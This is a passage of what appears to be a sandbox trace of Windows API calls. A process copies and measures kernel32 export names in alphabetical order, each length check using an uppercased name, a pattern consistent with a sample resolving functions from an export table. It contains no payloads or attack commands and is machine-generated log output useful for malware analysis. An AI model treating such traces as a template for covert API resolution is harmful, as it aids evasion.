lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0115.812] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0115.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0115.812] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0115.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0115.812] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0115.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0115.812] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0115.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0115.812] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0115.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0115.812] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0115.813] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0115.813] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0115.813] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0115.813] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0115.813] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0115.813] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0115.813] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0115.813] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0115.813] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0115.813] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0115.813] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0115.813] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0115.813] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0115.813] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0115.813] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0115.813] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0115.813] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0115.813] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0115.813] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0115.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0115.814] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0115.814] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0115.814] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0115.814] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0115.814] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0115.814] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0115.814] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0115.814] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0115.814] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0115.814] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0115.814] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0115.814] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0115.814] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0115.814] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0115.814] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0115.814] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0115.814] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0115.814] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0115.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0115.814] lstrlenA (lpString="BEEP") returned 4 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0115.815] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0115.815] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0115.815] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0115.815] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0115.815] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0115.815] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0115.815] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0115.815] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0115.815] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0115.815] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0115.815] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0115.815] lstrlenA (lpString="CANCELIO") returned 8 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0115.815] lstrlenA (lpString="CANCELIOEX") returned 10 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0115.815] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0115.815] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0115.815] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0115.815] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0115.815] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0115.815] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0115.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0115.815] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0115.816] lstrlenA (lpString="CHECKELEVATION") returned 14 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0115.816] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0115.816] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0115.816] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0115.816] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0115.816] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0115.816] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0115.816] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0115.816] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0115.816] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0115.816] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0115.816] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0115.816] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0115.816] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0115.816] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0115.816] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0115.816] lstrlenA (lpString="CLOSESTATE") returned 10 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0115.816] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0115.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0115.817] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0115.817] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0115.817] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0115.817] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0115.817] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0115.817] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0115.817] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0115.817] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0115.817] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0115.817] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0115.817] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0115.817] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0115.817] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0115.817] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0115.817] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0115.817] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0115.817] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0115.817] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0115.817] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0115.817] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0115.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0115.818] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0115.818] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0115.818] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0115.818] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0115.818] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0115.818] lstrlenA (lpString="COPYCONTEXT") returned 11 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0115.818] lstrlenA (lpString="COPYFILE2") returned 9 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0115.818] lstrlenA (lpString="COPYFILEA") returned 9 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0115.818] lstrlenA (lpString="COPYFILEEXA") returned 11 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0115.818] lstrlenA (lpString="COPYFILEEXW") returned 11 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0115.818] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0115.818] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0115.818] lstrlenA (lpString="COPYFILEW") returned 9 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0115.818] lstrlenA (lpString="COPYLZFILE") returned 10 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0115.818] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0115.818] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0115.818] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0115.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0115.818] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0115.818] lstrcpyA (in: 